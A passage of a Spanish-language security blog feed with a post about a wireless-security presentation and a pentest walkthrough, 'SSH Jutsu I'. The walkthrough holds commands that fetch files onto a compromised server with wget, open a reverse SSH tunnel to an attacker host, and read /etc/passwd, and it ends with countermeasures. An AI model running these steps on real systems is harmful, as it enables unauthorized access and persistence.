<p><small>Technorati Tags: <a title="Adrian Puente Z." href="http://technorati.com/tag/Adrian+Puente+Z." rel="tag" target="_blank">Adrian Puente Z.</a>, <a title="Hackarandas" href="http://technorati.com/tag/Hackarandas" rel="tag" target="_blank">Hackarandas</a>, <a title="hackarandas.com" href="http://technorati.com/tag/hackarandas.com" rel="tag" target="_blank">hackarandas.com</a>, <a title="blogs" href="http://technorati.com/tag/blogs" rel="tag" target="_blank">blogs</a>, <a title="spammers" href="http://technorati.com/tag/spammers" rel="tag" target="_blank">spammers</a>, <a title="spam" href="http://technorati.com/tag/spam" rel="tag" target="_blank">spam</a>, <a title="hacking" href="http://technorati.com/tag/hacking" rel="tag" target="_blank">hacking</a>, <a title="hack" href="http://technorati.com/tag/hack" rel="tag" target="_blank">hack</a>, <a title="nuevos metodos de spam" href="http://technorati.com/tag/nuevos+metodos+de+spam" rel="tag" target="_blank">nuevos metodos de spam</a>, <a title="blogger" href="http://technorati.com/tag/blogger" rel="tag" target="_blank">blogger</a>, <a title="blog" href="http://technorati.com/tag/blog" rel="tag" target="_blank">blog</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2009/04/23/blogs-usados-para-indexar-sitios-de-spam/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Presentación sobre Seguridad en Redes Inalámbricas</title>
		<link>http://hackarandas.com/blog/2009/04/13/presentacion-sobre-seguridad-en-redes-inalambricas/</link>
		<comments>http://hackarandas.com/blog/2009/04/13/presentacion-sobre-seguridad-en-redes-inalambricas/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 06:11:17 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2009/04/13/67/</guid>
		<description><![CDATA[Ya tiene un buen rato desde que no escribo en mi blog así que con este post inicio el año y me he propuesto escribir al menos 2 veces por mes. 
Hoy toca hablar de un tema muy interesante del que he estado investigando ya por bastante tiempo: Seguridad en Redes Inalámbricas. Un tema a [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/wifi.png" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Wifi Logo" alt="Seguridad en Redes Inalámbricas" />Ya tiene un buen rato desde que no escribo en mi blog así que con este post inicio el año y me he propuesto escribir al menos 2 veces por mes. </p>
<p>Hoy toca hablar de un tema muy interesante del que he estado investigando ya por bastante tiempo: Seguridad en Redes Inalámbricas. Un tema a mi parecer que a todos nos interesa pues a estas alturas es difícil hallar a una persona que navegue por Internet y que no haya empleado una red inalámbrica, ya sea en su escuela, hogar o trabajo.</p>
<p>Hace ya un tiempo fuí invitado por las representaciones <a href="http://rep_computacion.itam.mx/">e-T@M</a> a la <a href="http://semanaing.itam.mx/programa.html">XXI Semana de Ingenierías del ITAM</a> para dar una conferencia sobre el tema. Aunque el demo no salió muy bien la verdad es que nos divertimos mucho. Hace unos dias, en el área dónde laboro dentro de Sm4rt Security Services, me pidieron que diera una capacitación en este rubro. </p>
<p>La verdad no quiero extenderme mucho en este post porque ya he tocado el tema en otras entradas como <a href="http://hackarandas.com/blog/2007/03/03/adicciones/">Adicciones</a> o <a href="http://hackarandas.com/blog/2007/04/15/depredador-en-en-aire/">Depredador en el Aire</a> donde toco mas el tema del cracking de WEP y WPA. En la siguiente presentación, que puedes descargar desde la sección de&nbsp; <a href="http://hackarandas.com/blog/security-articles/">Security Articles</a>, hago una investigación mas a fondo sobre los algoritmos de cifrado que emplea WEP, WPA y WPA2, así cómo sus vulnerabilidades.</p>
<p>Esta presentación ha sido creada para fines educativos de forma que las personas que administren o sean dueños de una red inalámbrica tengan los medios para entender como funciona esta y de la necesidad de configurar sus dispositivos correctamente. Ni yo ni Sm4rt Security Services somos responsable por el mal uso de esta información.</p>
<p>Esta presentación está licenciado bajo Creative Commons: <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/mx/"><img alt="Creative Commons License" style="border-width: 0pt;" src="http://i.creativecommons.org/l/by-nc-sa/2.5/mx/80x15.png" /></a></p>
<p>
<a href="http://hackarandas.com/security-articles/Seguridad.Redes.Inalambricas-Adrian.Puente.Z.pdf"><strong>* Seguridad en Redes Inalámbricas&nbsp; &#8211; 1.5 MB</strong></a>
</p>
<p><address>Adrián Puente Z.</address>
</p>
<p><!-- technorati tags begin -->
<p style="font-size:10px;text-align:right;">Tags: <a href="http://www.technorati.com/tag/seguridad+redes+inalambricas" rel="tag">seguridad redes inalambricas</a> <a href="http://www.technorati.com/tag/redes+inalambricas" rel="tag">redes inalambricas</a> <a href="http://www.technorati.com/tag/seguridad" rel="tag">seguridad</a> <a href="http://www.technorati.com/tag/itam" rel="tag">itam</a> <a href="http://www.technorati.com/tag/wep" rel="tag">wep</a> <a href="http://www.technorati.com/tag/wpa" rel="tag">wpa</a> <a href="http://www.technorati.com/tag/Sm4rt+security+services" rel="tag">Sm4rt security services</a> <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a> <a href="http://www.technorati.com/tag/hackarandas.com" rel="tag">hackarandas.com</a> <a href="http://www.technorati.com/tag/ch0ks" rel="tag">ch0ks</a> <a href="http://www.technorati.com/tag/presentacion" rel="tag">presentacion</a> <a href="http://turbotagger.brainbliss.com">Turbo Tagger</a> </p>
<p><!-- technorati tags end --></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2009/04/13/presentacion-sobre-seguridad-en-redes-inalambricas/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SSH Jutsu I &#8211; Acercamiento de Puerto</title>
		<link>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/</link>
		<comments>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 07:00:49 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/</guid>
		<description><![CDATA[ Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el PHP Shell y empezar a echar comandos de consola [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.hackarandas.com/blog/wp-content/uploads/2008/06/jutsu00.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Sello de Dragon" alt="" /> Apenas unos dias vi batallando a un compañero que realizaba un Pentest y había conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dejó abandonado, así que no fué difícil utilizar un viejo módulo para subir el <a href="http://phpshell.sourceforge.net/">PHP Shell</a> y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).</p>
<p>Después de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se podían hacer ataques:</p>
<p><span style="font-weight: bold;">Escenario</p>
<p></span>
<ol>
<li>Servidor Web con Linux Fedora Core 3, obviamente con instalación por defecto</li>
<li>Servidor &#8220;protegido&#8221; por un FW Checkpoint.</li>
<ol>
<li>Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.</li>
<li>No tiene ACLs de salida del servidor, <span style="font-style: italic;">are you thinking what I am thinking?<br />
</span></li>
</ol>
<li>Se ha logrado comprometer el servidor</li>
<ol>
<li>Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el <a href="http://netcat.sourceforge.net/">Netcat</a> conectándonos a nuestra máquina desde la máquina vícitma. Total el FW no tiene ACLs que bloqueen la salida de tráfico del servidor.
</li>
<li>Tiene un IP Privada del otro lado, así que podemos suponer que están haciendo el port Forwarding al puerto 443.</li>
<li>Tiene el <a href="http://www.webmin.com/">Webmin</a> habilitado &gt;:) pero bloqueado por el FW :&#8217;(
</li>
</ol>
</ol>
<p><span style="font-weight: bold;">Planteamiento</p>
<p></span>¿Qué sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la <a href="http://es.wikipedia.org/wiki/DMZ">DMZ</a> y/o conseguir contraseñas. Ya se sacaron los usuarios con el comando <span style="font-style: italic;">cat /etc/passwd</span> pero los <a href="http://es.wikipedia.org/wiki/Hash">hashes</a> de las contraseñas&nbsp; no ya que no disponemos de privilegios de root<span style="font-weight: bold;"> </span>y hacer el viejo truco con <a href="http://www.thc.org/thc-hydra/">Hydra</a> de probar el mismo usuario y contraseñas contra un servicio es inútil por el FW.<span style="font-weight: bold;"> </p>
<p></span>¿Cómo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderosísima para la admnistración del servidor pero cuenta con un sin fín de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalación es por default o está sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.<span style="font-weight: bold;"></p>
<p>Jutsu </p>
<p></span>&nbsp; Creo que habemos pocos que conocemos los oscuros secretos y milenarias técnicas del <a href="http://es.wikipedia.org/wiki/Secure_Shell">SSH</a> y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:</p>
<p>Necesitamos tener una cuenta en una máquina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una <a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa_asim%C3%A9trica">llave pública</a> de ssh para poder automatizar la autenticación y no perder la shell dentro del servidor:<br />
<code><br />
# Creamos el directorio donde guardaremos la configuracion<br />
mkdir ~/.ssh<br />
# Creamos la llave sin contraseña para que sea mas cómoda de usar<br />
ssh-keygen -t dsa<br />
# Nos crea dos archivos que son la llave pública y la privada<br />
id_dsa  id_dsa.pub<br />
# Renombramos la pública para poder usarla como autenticación<br />
mv  id_dsa.pub authorized_keys<br />
</code><br />
Ahora creamos el siguiente archivo config:<br />
<code><br />
 Host atacante<br />
		# La IP o nombre de dominio que estamos usando<br />
		Hostname         atacante.no-ip.org<br />
		RemoteForward	10000 127.0.0.1:10000<br />
		# Puerto que tengamos abierto y con el servicio de SSH corriendo<br />
		Port			1025<br />
		# El usuario que hallamos creado<br />
		User            tunel<br />
		BatchMode       yes<br />
		Compression     yes<br />
		# La llave privada que no debe contener contraseña y nos dará acceso al usuario tunel<br />
		IdentityFile	/tmp/.ssh/id_dsa<br />
		CompressionLevel 		9<br />
		# Con esto nos saltamos el que nos pregunte que si añade la llave rsa al archivo.<br />
		StrictHostKeyChecking	no<br />
		PubkeyAuthentication	yes<br />
		UserKnownHostsFile		/tmp/.ssh/known_hosts<br />
</code><br />
Ahora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta <a href="http://www.home.unix-ag.org/simon/woof.html">woof</a>.<br />
<code><br />
# En el lado del atacante<br />
woof -p [PuertoAlcanzable] -i [IP] ~/.ssh</p>
<p># En el lado de la victima<br />
cd /tmp<br />
wget [URL Cambiando la IP por la IP pública] -O - | tar zxvf -<br />
cd .ssh<br />
chmod 0600 *<br />
ssh-agent bash<br />
ssh-add<br />
ssh -fNF config atacante<br />
</code><br />
Recuerda que si estas detrás de un dispositivo que haga <a href="http://es.wikipedia.org/wiki/NAT">NAT</a> debes hacer reenvío de puerto de forma que podamos alcanzar la máquina del atacante desde la máquina víctima y que el URL que le ingresaremos en el <a href="http://es.wikipedia.org/wiki/GNU_Wget">wget</a> no es la IP privada sino la IP pública que tiene nuestro router. Los que tenemos <a href="http://www.youtube.com/watch?v=kIAyegmzrxE">cableacces</a> estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP Pública XD.</p>
<p>Y si todo sale bien nos devolverá la línea de comando y veremos un proceso parecido al este:<br />
<code><br />
ps ax | grep -i ssh<br />
28659 ?        Ss     0:30 ssh -fNF config atacante<br />
</code><br />
Bien, ahora desde la máquina del atacante deberemos ver unos puertos parecidos a esto:<br />
<code><br />
sudo netstat -ptuna | grep -i listen<br />
tcp        0      0 127.0.0.1:10000          0.0.0.0:*               LISTEN      -<br />
</code><br />
Perfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administración del Webmin desde el navegador usando la siguiente URL: <span style="font-style: italic;">https://localhost:10000. </p>
<p></span>Nos vamos a la siguiente página y descargamos el <a href="http://es.wikipedia.org/wiki/Exploit">exploit</a>:</p>
<p>http://securitydot.net/xpl/exploits/vulnerabilities/articles/1164/exploit.html en <a href="http://es.wikipedia.org/wiki/Perl">Perl</a><br />
http://www.milw0rm.com/exploits/1997 en <a href="http://es.wikipedia.org/wiki/.php">PHP</a></p>
<p><span style="font-weight: bold;">Contramedidas</p>
<p></span>
<ol>
<li>No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producción.
</li>
<li>Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la máquina así la administración del FW queda en tus manos y no dependes de un tercero que no sabes que políticas maneja. <a href="http://rfxnetworks.com/apf.php">APF</a> es mi recomendación.
</li>
<li>En los ACLs del firewall es buena idea bloquear cual tráfico que salga del servidor que no sea de tipo ESTABLISHED o que vaya única y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualización local como el <a href="http://http://technet.microsoft.com/en-us/wsus/default.aspx">WSUS</a> para <a href="http://es.wiktionary.org/wiki/Haselfroch">Haselfroch</a>.</li>
<li>Siempre, y repito, siempre has un hardeneo de tus servidores de producción, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por <a href="http://members.shaw.ca/nicholas.fong/vnc/">túneles de SSH</a>.</li>
<li>Mantén un procedimiento para verificar la integridad de tus servidores como <a href="http://www.tripwire.org/">Tripwire</a>.</li>
<li>Mantén una política de contraseñas complejas en tus usuarios, así, aúnque consigan los hashes de la contraseñas el romperlas puede llegar a ser virtualmente imposible.</li>
<li>Mantén actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como <a href="http://www.gfi.com/languard/">GFI Languard</a> y <a href="http://www.nessus.org/">Nessus</a>.
</li>
</ol>
<p>Aún siguiendo estos pasos no puedes ganrantizar que estará seguro tu servidor, siempre habrá una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas prácticas de administración de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.</p>
<address>Adrián Puente Z.</address>
<address></address>
<div class="flockcredit" style="text-align: right; color: #CCC; font-size: x-small;">Blogged with the <a href="http://www.flock.com/blogged-with-flock" style="color: #999; font-weight: bold;" target="_new" title="Flock Browser">Flock Browser</a></div>
<p><!-- technorati tags begin -->
<p style="font-size:10px;text-align:right;">Tags: <a href="http://technorati.com/tag/Seguridad" rel="tag">Seguridad</a>, <a href="http://technorati.com/tag/firewall" rel="tag">firewall</a>, <a href="http://technorati.com/tag/%20webmin" rel="tag"> webmin</a>, <a href="http://technorati.com/tag/%20Secure%20Shell" rel="tag"> Secure Shell</a>, <a href="http://technorati.com/tag/%20SSH" rel="tag"> SSH</a>, <a href="http://technorati.com/tag/%20Apache" rel="tag"> Apache</a></p>
<p><!-- technorati tags end --></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2008/06/06/ssh-jutsu-i-acercamiento-de-puerto-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
